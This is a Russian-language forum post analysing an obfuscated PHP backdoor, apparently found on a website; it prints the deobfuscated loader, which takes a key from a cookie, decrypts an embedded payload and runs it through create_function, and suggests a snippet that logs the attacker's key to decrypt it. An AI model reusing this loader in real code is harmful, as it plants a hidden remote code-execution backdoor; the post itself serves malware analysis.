kosmos123

Глянул скрипт, интересно то что без специального ключа его не расшифровать. Ключ передается через параметр key из cookie.

Основная часть скрипта в чуть более читаемом виде выглядит так. Тут просто строку $m расшифровывают и запускают на выполнение. И да, там скорее всего ничего интересного - просто шелл.

if (!empty($_COOKIE["key"])) {
    $F = $_COOKIE["key"];
    $e = strlen($F);
    $n = [];
    for ($r = 0; $r < $e; ++$r) $n[] = 44378 - $e - ord($F[$r]);
    $m = base64_decode(str_replace("\n", '', $m));
    for ($r = 0; $r < 44378; ++$r) {
        $_ = abs($n[$r % $e] - $r);
        $F = $m[$_];
        $m[$_] = $m[$r];
        $m[$r] = $F;
    }
    if ($e < 10) $e *= $e & 1 ? 3 : 2;
    if (($m = @gzinflate($m)) && (md5(substr($m, 0, $e)) === '40d1093c6aa5fe053f65ec0b46a673f1')) {
        $m = substr($m, $e);
        echo $e, $r;
        @create_function('', "};unset(\$m,\$n,\$e,\$r,\$_,\$F);" . $m . '{');
    }
}

PS кстати, если все таки хочется расшифровать - можно заменить скрипт на свой который тупо сохраняет этот key, тогда используя его можно будет расшифровать.

сохранять можно например таким кодом:

<?php
file_put_contents('key.log', $_COOKIE["key"] . "\n", FILE_APPEND);